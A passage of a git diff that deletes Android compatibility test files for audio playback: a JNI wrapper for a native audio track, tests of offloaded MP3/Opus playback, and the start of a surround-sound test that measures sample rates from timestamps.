--- a/tests/tests/media/src/android/media/cts/AudioTrackNative.java
+++ /dev/null
@@ -1,173 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.annotation.IntDef;
-import android.annotation.NonNull;
-import android.util.Log;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-
-public class AudioTrackNative {
-    // Must be kept in sync with C++ JNI audio-track-native (AudioTrackNative) WRITE_FLAG_*
-    public static final int WRITE_FLAG_BLOCKING = 1 << 0;
-    /** @hide */
-    @IntDef(flag = true,
-            value = {
-                    WRITE_FLAG_BLOCKING,
-            })
-    @Retention(RetentionPolicy.SOURCE)
-    public @interface WriteFlags { }
-
-    public AudioTrackNative() {
-        mNativeTrackInJavaObj = nativeCreateTrack();
-    }
-
-    // TODO: eventually accept AudioFormat
-    // numBuffers is the number of internal buffers before hitting the OpenSL ES.
-    // A value of 0 means that all writes are blocking.
-    public boolean open(int numChannels, int sampleRate, boolean useFloat, int numBuffers) {
-        return open(numChannels, 0, sampleRate, useFloat, numBuffers);
-    }
-
-    public boolean open(int numChannels, int channelMask, int sampleRate,
-            boolean useFloat, int numBuffers) {
-        if (nativeOpen(mNativeTrackInJavaObj, numChannels, channelMask,
-                sampleRate, useFloat, numBuffers) == STATUS_OK) {
-            mChannelCount = numChannels;
-            return true;
-        }
-        return false;
-    }
-
-    public void close() {
-        nativeClose(mNativeTrackInJavaObj);
-    }
-
-    public boolean start() {
-        return nativeStart(mNativeTrackInJavaObj) == STATUS_OK;
-    }
-
-    public boolean stop() {
-        return nativeStop(mNativeTrackInJavaObj) == STATUS_OK;
-    }
-
-    public boolean pause() {
-        return nativePause(mNativeTrackInJavaObj) == STATUS_OK;
-    }
-
-    public boolean flush() {
-        return nativeFlush(mNativeTrackInJavaObj) == STATUS_OK;
-    }
-
-    public long getPositionInMsec() {
-        long[] position = new long[1];
-        if (nativeGetPositionInMsec(mNativeTrackInJavaObj, position) != STATUS_OK) {
-            throw new IllegalStateException();
-        }
-        return position[0];
-    }
-
-    public int getBuffersPending() {
-        return nativeGetBuffersPending(mNativeTrackInJavaObj);
-    }
-
-    /* returns number of samples written.
-     * 0 may be returned if !isBlocking.
-     * negative value indicates error.
-     */
-    public int write(@NonNull byte[] byteArray,
-            int offsetInSamples, int sizeInSamples, @WriteFlags int writeFlags) {
-        return nativeWriteByteArray(
-                mNativeTrackInJavaObj, byteArray, offsetInSamples, sizeInSamples, writeFlags);
-    }
-
-    public int write(@NonNull short[] shortArray,
-            int offsetInSamples, int sizeInSamples, @WriteFlags int writeFlags) {
-        return nativeWriteShortArray(
-                mNativeTrackInJavaObj, shortArray, offsetInSamples, sizeInSamples, writeFlags);
-    }
-
-    public int write(@NonNull float[] floatArray,
-            int offsetInSamples, int sizeInSamples, @WriteFlags int writeFlags) {
-        return nativeWriteFloatArray(
-                mNativeTrackInJavaObj, floatArray, offsetInSamples, sizeInSamples, writeFlags);
-    }
-
-    public int getChannelCount() {
-        return mChannelCount;
-    }
-
-    public static boolean test(int numChannels, int sampleRate, boolean useFloat,
-            int msecPerBuffer, int numBuffers) {
-        return test(numChannels, 0, sampleRate, useFloat, msecPerBuffer, numBuffers);
-    }
-
-    public static boolean test(int numChannels, int channelMask, int sampleRate, boolean useFloat,
-            int msecPerBuffer, int numBuffers) {
-        return nativeTest(numChannels, channelMask, sampleRate, useFloat, msecPerBuffer, numBuffers)
-                == STATUS_OK;
-    }
-
-    @Override
-    protected void finalize() {
-        nativeClose(mNativeTrackInJavaObj);
-        nativeDestroyTrack(mNativeTrackInJavaObj);
-    }
-
-    static {
-        System.loadLibrary("audio_jni");
-    }
-
-    private static final String TAG = "AudioTrackNative";
-    private int mChannelCount;
-    private final long mNativeTrackInJavaObj;
-    private static final int STATUS_OK = 0;
-
-    // static native API.
-    // The native API uses a long "track handle" created by nativeCreateTrack.
-    // The handle must be destroyed after use by nativeDestroyTrack.
-    //
-    // Return codes from the native layer are status_t.
-    // Converted to Java booleans or exceptions at the public API layer.
-    private static native long nativeCreateTrack();
-    private static native void nativeDestroyTrack(long track);
-    private static native int nativeOpen(
-            long track, int numChannels, int channelMask,
-            int sampleRate, boolean useFloat, int numBuffers);
-    private static native void nativeClose(long track);
-    private static native int nativeStart(long track);
-    private static native int nativeStop(long track);
-    private static native int nativePause(long track);
-    private static native int nativeFlush(long track);
-    private static native int nativeGetPositionInMsec(long track, @NonNull long[] position);
-    private static native int nativeGetBuffersPending(long track);
-    private static native int nativeWriteByteArray(long track, @NonNull byte[] byteArray,
-            int offsetInSamples, int sizeInSamples, @WriteFlags int writeFlags);
-    private static native int nativeWriteShortArray(long track, @NonNull short[] shortArray,
-            int offsetInSamples, int sizeInSamples, @WriteFlags int writeFlags);
-    private static native int nativeWriteFloatArray(long track, @NonNull float[] floatArray,
-            int offsetInSamples, int sizeInSamples, @WriteFlags int writeFlags);
-
-    // native interface for all-in-one testing, no track handle required.
-    private static native int nativeTest(
-            int numChannels, int channelMask, int sampleRate,
-            boolean useFloat, int msecPerBuffer, int numBuffers);
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
deleted file mode 100644
index 0b0a3aa..0000000
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ /dev/null
@@ -1,346 +0,0 @@
-/*
- **
- ** Copyright 2018, The Android Open Source Project
- **
- ** Licensed under the Apache License, Version 2.0 (the "License");
- ** you may not use this file except in compliance with the License.
- ** You may obtain a copy of the License at
- **
- **     http://www.apache.org/licenses/LICENSE-2.0
- **
- ** Unless required by applicable law or agreed to in writing, software
- ** distributed under the License is distributed on an "AS IS" BASIS,
- ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ** See the License for the specific language governing permissions and
- ** limitations under the License.
- */
-
-package android.media.cts;
-
-import android.annotation.Nullable;
-import android.annotation.RawRes;
-import android.content.res.AssetFileDescriptor;
-import android.media.AudioAttributes;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTrack;
-import android.os.SystemClock;
-import android.util.Log;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-
-import javax.annotation.concurrent.GuardedBy;
-import java.io.InputStream;
-import java.util.concurrent.Executor;
-
-@NonMediaMainlineTest
-public class AudioTrackOffloadTest extends CtsAndroidTestCase {
-    private static final String TAG = "AudioTrackOffloadTest";
-
-
-    private static final int BUFFER_SIZE_SEC = 3;
-    private static final long DATA_REQUEST_TIMEOUT_MS = 6 * 1000; // 6s
-    private static final long DATA_REQUEST_POLL_PERIOD_MS = 1 * 1000; // 1s
-    private static final long PRESENTATION_END_TIMEOUT_MS = 8 * 1000; // 8s
-    private static final int AUDIOTRACK_DEFAULT_SAMPLE_RATE = 44100;
-    private static final int AUDIOTRACK_DEFAULT_CHANNEL_MASK = AudioFormat.CHANNEL_OUT_STEREO;
-
-    private static final AudioAttributes DEFAULT_ATTR = new AudioAttributes.Builder().build();
-
-    public void testIsOffloadSupportedNullFormat() throws Exception {
-        try {
-            final boolean offloadableFormat = AudioManager.isOffloadedPlaybackSupported(null,
-                    DEFAULT_ATTR);
-            fail("Shouldn't be able to use null AudioFormat in isOffloadedPlaybackSupported()");
-        } catch (NullPointerException e) {
-            // ok, NPE is expected here
-        }
-    }
-
-    public void testIsOffloadSupportedNullAttributes() throws Exception {
-        try {
-            final boolean offloadableFormat = AudioManager.isOffloadedPlaybackSupported(
-                    getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), null);
-            fail("Shouldn't be able to use null AudioAttributes in isOffloadedPlaybackSupported()");
-        } catch (NullPointerException e) {
-            // ok, NPE is expected here
-        }
-    }
-
-    public void testExerciseIsOffloadSupported() throws Exception {
-        final boolean offloadableFormat = AudioManager.isOffloadedPlaybackSupported(
-                getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), DEFAULT_ATTR);
-    }
-
-    public void testGetPlaybackOffloadSupportNullFormat() throws Exception {
-        try {
-            final int offloadMode = AudioManager.getPlaybackOffloadSupport(null,
-                    DEFAULT_ATTR);
-            fail("Shouldn't be able to use null AudioFormat in getPlaybackOffloadSupport()");
-        } catch (NullPointerException e) {
-            // ok, NPE is expected here
-        }
-    }
-
-    public void testGetPlaybackOffloadSupportNullAttributes() throws Exception {
-        try {
-            final int offloadMode = AudioManager.getPlaybackOffloadSupport(
-                    getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), null);
-            fail("Shouldn't be able to use null AudioAttributes in getPlaybackOffloadSupport()");
-        } catch (NullPointerException e) {
-            // ok, NPE is expected here
-        }
-    }
-
-    public void testExerciseGetPlaybackOffloadSupport() throws Exception {
-        final int offloadMode = AudioManager.getPlaybackOffloadSupport(
-                getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), DEFAULT_ATTR);
-        assertTrue("getPlaybackOffloadSupport returned invalid mode: " + offloadMode,
-            offloadMode == AudioManager.PLAYBACK_OFFLOAD_NOT_SUPPORTED
-                || offloadMode == AudioManager.PLAYBACK_OFFLOAD_SUPPORTED
-                || offloadMode == AudioManager.PLAYBACK_OFFLOAD_GAPLESS_SUPPORTED);
-    }
-
-    public void testMP3AudioTrackOffload() throws Exception {
-        testAudioTrackOffload(R.raw.sine1khzs40dblong,
-                /* bitRateInkbps= */ 192,
-                getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3));
-    }
-
-    public void testOpusAudioTrackOffload() throws Exception {
-        testAudioTrackOffload(R.raw.testopus,
-                /* bitRateInkbps= */ 118, // Average
-                getAudioFormatWithEncoding(AudioFormat.ENCODING_OPUS));
-    }
-
-    private @Nullable AudioTrack getOffloadAudioTrack(@RawRes int audioRes, int bitRateInkbps,
-                                            AudioFormat audioFormat) {
-        if (!AudioManager.isOffloadedPlaybackSupported(audioFormat, DEFAULT_ATTR)) {
-            Log.i(TAG, "skipping testAudioTrackOffload as offload encoding "
-                    + audioFormat.getEncoding() + " is not supported");
-            // cannot test if offloading is not supported
-            return null;
-        }
-
-        int bufferSizeInBytes = bitRateInkbps * 1000 * BUFFER_SIZE_SEC / 8;
-        // format is offloadable, test playback head is progressing
-        AudioTrack track = new AudioTrack.Builder()
-                .setAudioAttributes(DEFAULT_ATTR)
-                .setAudioFormat(audioFormat)
-                .setTransferMode(AudioTrack.MODE_STREAM)
-                .setBufferSizeInBytes(bufferSizeInBytes)
-                .setOffloadedPlayback(true)
-                .build();
-        assertNotNull("Couldn't create offloaded AudioTrack", track);
-        assertEquals("Unexpected track sample rate", AUDIOTRACK_DEFAULT_SAMPLE_RATE,
-                track.getSampleRate());
-        assertEquals("Unexpected track channel mask", AUDIOTRACK_DEFAULT_CHANNEL_MASK,
-                track.getChannelConfiguration());
-        return track;
-    }
-
-    /**
-     * Test offload of an audio resource that MUST be at least 3sec long.
-     */
-    private void testAudioTrackOffload(@RawRes int audioRes, int bitRateInkbps,
-                                       AudioFormat audioFormat) throws Exception {
-        AudioTrack track = null;
-        try (AssetFileDescriptor audioToOffload = getContext().getResources()
-                .openRawResourceFd(audioRes);
-             InputStream audioInputStream = audioToOffload.createInputStream()) {
-
-            track = getOffloadAudioTrack(audioRes, bitRateInkbps, audioFormat);
-            if (track == null) {
-                return;
-            }
-
-            try {
-                track.registerStreamEventCallback(mExec, null);
-                fail("Shouldn't be able to register null StreamEventCallback");
-            } catch (Exception e) {
-            }
-            track.registerStreamEventCallback(mExec, mCallback);
-
-            int bufferSizeInBytes3sec = bitRateInkbps * 1000 * BUFFER_SIZE_SEC / 8;
-            final byte[] data = new byte[bufferSizeInBytes3sec];
-            final int read = audioInputStream.read(data);
-            assertEquals("Could not read enough audio from the resource file",
-                    bufferSizeInBytes3sec, read);
-
-            track.play();
-            int written = 0;
-            while (written < read) {
-                int wrote = track.write(data, written, read - written,
-                        AudioTrack.WRITE_BLOCKING);
-                Log.i(TAG, String.format("wrote %d bytes (%d out of %d)", wrote, written, read));
-                if (wrote < 0) {
-                    fail("Unable to write all read data, wrote " + written + " bytes");
-                }
-                written += wrote;
-            }
-
-            try {
-                final long elapsed = checkDataRequest(DATA_REQUEST_TIMEOUT_MS);
-                synchronized (mPresEndLock) {
-                    track.setOffloadEndOfStream();
-
-                    track.stop();
-                    mPresEndLock.safeWait(PRESENTATION_END_TIMEOUT_MS - elapsed);
-                }
-            } catch (InterruptedException e) {
-                fail("Error while sleeping");
-            }
-            synchronized (mPresEndLock) {
-                // we are at most PRESENTATION_END_TIMEOUT_MS + 1s after about 3s of data was
-                // supplied, presentation should have ended
-                assertEquals("onPresentationEnded not called one time",
-                        1, mCallback.mPresentationEndedCount);
-            }
-
-        } finally {
-            if (track != null) {
-                Log.i(TAG, "pause");
-                track.pause();
-                track.unregisterStreamEventCallback(mCallback);
-                track.release();
-            }
-        };
-    }
-
-    private long checkDataRequest(long timeout) throws Exception {
-        long checkStart = SystemClock.uptimeMillis();
-        boolean calledback = false;
-        while (SystemClock.uptimeMillis() - checkStart < timeout) {
-            synchronized (mEventCallbackLock) {
-                if (mCallback.mDataRequestCount > 0) {
-                    calledback = true;
-                    break;
-                }
-            }
-            Thread.sleep(DATA_REQUEST_POLL_PERIOD_MS);
-        }
-        assertTrue("onDataRequest not called", calledback);
-        return (SystemClock.uptimeMillis() - checkStart);
-    }
-
-    private AudioTrack allocNonOffloadAudioTrack() {
-        // Attrributes the AudioTrack are irrelevant in this case. We just need to provide
-        // an AudioTrack that IS NOT offloaded so that we can demonstrate failure.
-        AudioTrack track = new AudioTrack.Builder()
-                .setBufferSizeInBytes(2048/*arbitrary*/)
-                .build();
-
-        assert(track != null);
-        return track;
-    }
-
-     // Arbitrary values..
-    private static final int TEST_DELAY = 50;
-    private static final int TEST_PADDING = 100;
-    public void testOffloadPadding() {
-        AudioTrack track =
-                getOffloadAudioTrack(R.raw.sine1khzs40dblong,
-                /* bitRateInkbps= */ 192,
-                getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3));
-        if (track == null) {
-            return;
-        }
-
-        assertTrue(track.getOffloadPadding() >= 0);
-
-        track.setOffloadDelayPadding(0 /*delayInFrames*/, 0 /*paddingInFrames*/);
-
-        int offloadDelay;
-        offloadDelay = track.getOffloadDelay();
-        assertEquals(0, offloadDelay);
-
-        int padding = track.getOffloadPadding();
-        assertEquals(0, padding);
-
-        track.setOffloadDelayPadding(
-                TEST_DELAY /*delayInFrames*/,
-                TEST_PADDING /*paddingInFrames*/);
-        offloadDelay = track.getOffloadDelay();
-        assertEquals(TEST_DELAY, offloadDelay);
-        padding = track.getOffloadPadding();
-        assertEquals(TEST_PADDING, padding);
-    }
-
-    public void testIsOffloadedPlayback() {
-        // non-offloaded case
-        AudioTrack nonOffloadTrack = allocNonOffloadAudioTrack();
-        assertFalse(nonOffloadTrack.isOffloadedPlayback());
-
-        // offloaded case
-        AudioTrack offloadTrack =
-                getOffloadAudioTrack(R.raw.sine1khzs40dblong,
-                        /* bitRateInkbps= */ 192,
-                        getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3));
-        if (offloadTrack == null) {
-            return;
-        }
-        assertTrue(offloadTrack.isOffloadedPlayback());
-    }
-
-    public void testSetOffloadEndOfStreamWithNonOffloadedTrack() {
-        // Non-offload case
-        AudioTrack nonOffloadTrack = allocNonOffloadAudioTrack();
-        assertFalse(nonOffloadTrack.isOffloadedPlayback());
-        org.testng.Assert.assertThrows(IllegalStateException.class,
-                () -> nonOffloadTrack.setOffloadEndOfStream());
-    }
-
-    private static AudioFormat getAudioFormatWithEncoding(int encoding) {
-       return new AudioFormat.Builder()
-            .setEncoding(encoding)
-            .setSampleRate(AUDIOTRACK_DEFAULT_SAMPLE_RATE)
-            .setChannelMask(AUDIOTRACK_DEFAULT_CHANNEL_MASK)
-            .build();
-    }
-
-    private Executor mExec = new Executor() {
-        @Override
-        public void execute(Runnable command) {
-            command.run();
-        }
-    };
-
-    private final Object mEventCallbackLock = new Object();
-    private final SafeWaitObject mPresEndLock = new SafeWaitObject();
-
-    private EventCallback mCallback = new EventCallback();
-
-    private class EventCallback extends AudioTrack.StreamEventCallback {
-        @GuardedBy("mEventCallbackLock")
-        int mTearDownCount;
-        @GuardedBy("mPresEndLock")
-        int mPresentationEndedCount;
-        @GuardedBy("mEventCallbackLock")
-        int mDataRequestCount;
-
-        @Override
-        public void onTearDown(AudioTrack track) {
-            synchronized (mEventCallbackLock) {
-                Log.i(TAG, "onTearDown");
-                mTearDownCount++;
-            }
-        }
-
-        @Override
-        public void onPresentationEnded(AudioTrack track) {
-            synchronized (mPresEndLock) {
-                Log.i(TAG, "onPresentationEnded");
-                mPresentationEndedCount++;
-                mPresEndLock.safeNotify();
-            }
-        }
-
-        @Override
-        public void onDataRequest(AudioTrack track, int size) {
-            synchronized (mEventCallbackLock) {
-                Log.i(TAG, "onDataRequest size:"+size);
-                mDataRequestCount++;
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
deleted file mode 100644
index f01c444..0000000
--- a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
+++ /dev/null
@@ -1,642 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.annotation.RawRes;
-import android.app.ActivityManager;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.content.res.AssetFileDescriptor;
-import android.content.res.Resources;
-import android.media.AudioAttributes;
-import android.media.AudioDeviceInfo;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTimestamp;
-import android.media.AudioTrack;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.FileInputStream;
-import java.io.InputStream;
-import java.nio.ByteBuffer;
-import java.nio.ByteOrder;
-import java.nio.ShortBuffer;
-import java.util.ArrayList;
-import java.util.Random;
-
-// Test the Java AudioTrack surround sound and HDMI passthrough.
-// Most tests involve creating a track with a given format and then playing
-// a few seconds of audio. The playback is verified by measuring the output
-// sample rate based on the AudioTimestamps.
-
-@NonMediaMainlineTest
-@AppModeFull(reason = "Instant apps cannot access the SD card")
-public class AudioTrackSurroundTest extends CtsAndroidTestCase {
-    private static final String TAG = "AudioTrackSurroundTest";
-
-    private static final double MAX_RATE_TOLERANCE_FRACTION = 0.01;
-    private static final boolean LOG_TIMESTAMPS = false; // set true for debugging
-    // just long enough to measure the rate
-    private static final long SAMPLE_RATE_SHORT_TEST_DURATION_MILLIS = 5000;
-    // AC3 and IEC61937 tracks require more time
-    private static final long SAMPLE_RATE_LONG_TEST_DURATION_MILLIS = 12000;
-
-    // Set this true to prefer the device that supports the particular encoding.
-    // But note that as of 3/25/2016, a bug causes Direct tracks to fail.
-    // So only set true when debugging that problem.
-    private static final boolean USE_PREFERRED_DEVICE = false;
-
-    // Should we fail if there is no PCM16 device reported by device enumeration?
-    // This can happen if, for example, an ATV set top box does not have its HDMI cable plugged in.
-    private static final boolean REQUIRE_PCM_DEVICE = false;
-
-    private final static long NANOS_PER_MILLISECOND = 1000000L;
-    private final static int MILLIS_PER_SECOND = 1000;
-    private final static long NANOS_PER_SECOND = NANOS_PER_MILLISECOND * MILLIS_PER_SECOND;
-
-    private final static String RES_AC3_SPDIF_VOICE_32000 = "voice12_32k_128kbps_15s_ac3_spdif.raw";
-    private final static String RES_AC3_SPDIF_VOICE_44100 = "voice12_44k_128kbps_15s_ac3_spdif.raw";
-    private final static String RES_AC3_SPDIF_VOICE_48000 = "voice12_48k_128kbps_15s_ac3_spdif.raw";
-    private final static String RES_AC3_VOICE_48000 = "voice12_48k_128kbps_15s_ac3.raw";
-
-    private static int mLastPlayedEncoding = AudioFormat.ENCODING_INVALID;
-
-    // Devices that support various encodings.
-    private static boolean mDeviceScanComplete = false;
-    private static AudioDeviceInfo mInfoPCM16 = null;
-    private static AudioDeviceInfo mInfoAC3 = null;
-    private static AudioDeviceInfo mInfoE_AC3 = null;
-    private static AudioDeviceInfo mInfoDTS = null;
-    private static AudioDeviceInfo mInfoDTS_HD = null;
-    private static AudioDeviceInfo mInfoIEC61937 = null;
-
-    private static void log(String testName, String message) {
-        Log.i(TAG, "[" + testName + "] " + message);
-    }
-
-    private static void logw(String testName, String message) {
-        Log.w(TAG, "[" + testName + "] " + message);
-    }
-
-    private static void loge(String testName, String message) {
-        Log.e(TAG, "[" + testName + "] " + message);
-    }
-
-    // This is a special method that is called automatically before each test.
-    @Override
-    protected void setUp() throws Exception {
-        // Note that I tried to only scan for encodings once but the static
-        // data did not persist properly. That may be a bug.
-        // For now, just scan before every test.
-        scanDevicesForEncodings();
-    }
-
-    private void scanDevicesForEncodings() throws Exception {
-        final String MTAG = "scanDevicesForEncodings";
-        // Scan devices to see which encodings are supported.
-        AudioManager audioManager = (AudioManager) getContext()
-                .getSystemService(Context.AUDIO_SERVICE);
-        AudioDeviceInfo[] infos = audioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
-        for (AudioDeviceInfo info : infos) {
-            log(MTAG, "scanning devices, name = " + info.getProductName()
-                    + ", id = " + info.getId()
-                    + ", " + (info.isSink() ? "sink" : "source")
-                    + ", type = " + info.getType()
-                    + " ------");
-            String text = "{";
-            for (int encoding : info.getEncodings()) {
-                text += String.format("0x%08X, ", encoding);
-            }
-            text += "}";
-            log(MTAG, "  encodings = " + text);
-            text = "{";
-            for (int rate : info.getSampleRates()) {
-                text += rate + ", ";
-            }
-            text += "}";
-            log(MTAG, "  sample rates = " + text);
-            if (info.isSink()) {
-                for (int encoding : info.getEncodings()) {
-                    switch (encoding) {
-                        case AudioFormat.ENCODING_PCM_16BIT:
-                            mInfoPCM16 = info;
-                            log(MTAG, "mInfoPCM16 set to " + info);
-                            break;
-                        case AudioFormat.ENCODING_AC3:
-                            mInfoAC3 = info;
-                            log(MTAG, "mInfoAC3 set to " + info);
-                            break;
-                        case AudioFormat.ENCODING_E_AC3:
-                            mInfoE_AC3 = info;
-                            log(MTAG, "mInfoE_AC3 set to " + info);
-                            break;
-                        case AudioFormat.ENCODING_DTS:
-                            mInfoDTS = info;
-                            log(MTAG, "mInfoDTS set to " + info);
-                            break;
-                        case AudioFormat.ENCODING_DTS_HD:
-                            mInfoDTS_HD = info;
-                            log(MTAG, "mInfoDTS_HD set to " + info);
-                            break;
-                        case AudioFormat.ENCODING_IEC61937:
-                            mInfoIEC61937 = info;
-                            log(MTAG, "mInfoIEC61937 set to " + info);
-                            break;
-                        default:
-                            // This is OK. It is just an encoding that we don't care about.
-                            break;
-                    }
-                }
-            }
-        }
-    }
-
-    // Load a resource into a byte[]
-    private byte[] loadRawResourceBytes(@RawRes final String res) throws Exception {
-        final String mInpPrefix = WorkDir.getMediaDirString();
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        InputStream is = new FileInputStream(mInpPrefix + res);
-        ByteArrayOutputStream bos = new ByteArrayOutputStream();
-        try (BufferedInputStream bis = new BufferedInputStream(is)) {
-            for (int b = bis.read(); b != -1; b = bis.read()) {
-                bos.write(b);
-            }
-        }
-        return bos.toByteArray();
-    }
-
-    // Load a resource into a short[]
-    private short[] loadRawResourceShorts(@RawRes final String res) throws Exception {
-        byte[] byteBuffer = loadRawResourceBytes(res);
-        ShortBuffer shortBuffer =
-                ByteBuffer.wrap(byteBuffer).order(ByteOrder.LITTLE_ENDIAN).asShortBuffer();
-        // Unfortunately, ShortBuffer.array() works with allocated buffers only.
-        short[] mainBuffer = new short[byteBuffer.length / 2];
-        for (int i = 0; i < mainBuffer.length; i++) {
-            mainBuffer[i] = shortBuffer.get();
-        }
-        return mainBuffer;
-    }
-
-    public void testLoadSineSweep() throws Exception {
-        final String TEST_NAME = "testLoadSineSweep";
-        short[] shortData = loadRawResourceShorts("sinesweepraw.raw");
-        assertTrue(TEST_NAME + ": load sinesweepraw as shorts", shortData.length > 100);
-        byte[] byteData = loadRawResourceBytes("sinesweepraw.raw");
-        assertTrue(TEST_NAME + ": load sinesweepraw as bytes", byteData.length > shortData.length);
-    }
-
-    private static AudioTrack createAudioTrack(int sampleRate, int encoding, int channelConfig) {
-        final String TEST_NAME = "createAudioTrack";
-        int minBufferSize = AudioTrack.getMinBufferSize(
-                sampleRate, channelConfig,
-                encoding);
-        assertTrue(TEST_NAME + ": getMinBufferSize", minBufferSize > 0);
-        int bufferSize = minBufferSize * 3; // plenty big
-        AudioTrack track = new AudioTrack(AudioManager.STREAM_MUSIC,
-                sampleRate, channelConfig,
-                encoding, bufferSize,
-                AudioTrack.MODE_STREAM);
-        return track;
-    }
-
-    static class TimestampAnalyzer {
-        ArrayList<AudioTimestamp> mTimestamps = new ArrayList<AudioTimestamp>();
-        AudioTimestamp mPreviousTimestamp = null;
-
-        static String timestampToString(AudioTimestamp timestamp) {
-            if (timestamp == null)
-                return "null";
-            return "(pos = " + timestamp.framePosition + ", nanos = " + timestamp.nanoTime + ")";
-        }
-
-        // Add timestamp if unique and valid.
-        void addTimestamp(AudioTrack track) {
-            AudioTimestamp timestamp = new AudioTimestamp();
-            boolean gotTimestamp = track.getTimestamp(timestamp);
-            if (gotTimestamp) {
-                // Only save timestamps after the data is flowing.
-                boolean accepted = mPreviousTimestamp != null
-                        && timestamp.framePosition > 0
-                        && timestamp.nanoTime != mPreviousTimestamp.nanoTime
-                        && timestamp.framePosition != mPreviousTimestamp.framePosition;
-                if (accepted) {
-                    mTimestamps.add(timestamp);
-                }
-                Log.d(TAG, (accepted ? "" : "NOT ") + "added ts " + timestampToString(timestamp));
-                mPreviousTimestamp = timestamp;
-            }
-        }
-
-        void checkIndividualTimestamps(int sampleRate) {
-            AudioTimestamp previous = null;
-            double sumDeltaSquared = 0.0;
-            int populationSize = 0;
-            double maxDeltaMillis = 0.0;
-            // Make sure the timestamps are smooth and don't go retrograde.
-            for (AudioTimestamp timestamp : mTimestamps) {
-                if (previous != null) {
-
-                    assertTrue("framePosition must be monotonic",
-                            timestamp.framePosition >= previous.framePosition);
-                    assertTrue("nanoTime must be monotonic",
-                            timestamp.nanoTime >= previous.nanoTime);
-
-                    if (timestamp.framePosition > previous.framePosition) {
-                        // Measure timing jitter.
-                        // Calculate predicted duration based on measured rate and compare
-                        // it with actual duration.
-                        final double TOLERANCE_MILLIS = 2.0;
-                        long elapsedFrames = timestamp.framePosition - previous.framePosition;
-                        long elapsedNanos = timestamp.nanoTime - previous.nanoTime;
-                        double measuredMillis = elapsedNanos / (double) NANOS_PER_MILLISECOND;
-                        double expectedMillis = elapsedFrames * (double) MILLIS_PER_SECOND
-                            / sampleRate;
-                        double deltaMillis = measuredMillis - expectedMillis;
-                        sumDeltaSquared += deltaMillis * deltaMillis;
-                        populationSize++;
-                        // We only issue a warning here because the CDD does not mandate a
-                        // specific tolerance.
-                        double absDeltaMillis = Math.abs(deltaMillis);
-                        if (absDeltaMillis > TOLERANCE_MILLIS) {
-                            Log.w(TAG, "measured time exceeds expected"
-                                + ", srate = " + sampleRate
-                                + ", frame = " + timestamp.framePosition
-                                + ", expected = " + expectedMillis
-                                + ", measured = " + measuredMillis + " (msec)"
-                                );
-                        }
-                        if (absDeltaMillis > maxDeltaMillis) {
-                            maxDeltaMillis = absDeltaMillis;
-                        }
-                    }
-                }
-                previous = timestamp;
-            }
-            Log.d(TAG, "max abs(delta) from expected duration = " + maxDeltaMillis + " msec");
-            if (populationSize > 0) {
-                double deviation = Math.sqrt(sumDeltaSquared / populationSize);
-                Log.d(TAG, "standard deviation from expected duration = " + deviation + " msec");
-            }
-        }
-
-        // Use collected timestamps to estimate a sample rate.
-        double estimateSampleRate() {
-            Log.w(TAG, "timestamps collected: " + mTimestamps.size());
-            assertTrue("expect many timestamps, got " + mTimestamps.size(),
-                    mTimestamps.size() > 10);
-            // Use first and last timestamp to get the most accurate rate.
-            AudioTimestamp first = mTimestamps.get(0);
-            AudioTimestamp last = mTimestamps.get(mTimestamps.size() - 1);
-            return calculateSampleRate(first, last);
-        }
-
-        /**
-         * @param timestamp1
-         * @param timestamp2
-         */
-        private double calculateSampleRate(AudioTimestamp timestamp1, AudioTimestamp timestamp2) {
-            long elapsedFrames = timestamp2.framePosition - timestamp1.framePosition;
-            long elapsedNanos = timestamp2.nanoTime - timestamp1.nanoTime;
-            double measuredRate = elapsedFrames * (double) NANOS_PER_SECOND / elapsedNanos;
-            if (LOG_TIMESTAMPS) {
-                Log.i(TAG, "calculateSampleRate(), elapsedFrames =, " + elapsedFrames
-                        + ", measuredRate =, "
-                        + (int) measuredRate);
-            }
-            return measuredRate;
-        }
-    }
-
-    // Class for looping a recording for several seconds and measuring the sample rate.
-    // This is not static because it needs to call getContext().
-    abstract class SamplePlayerBase {
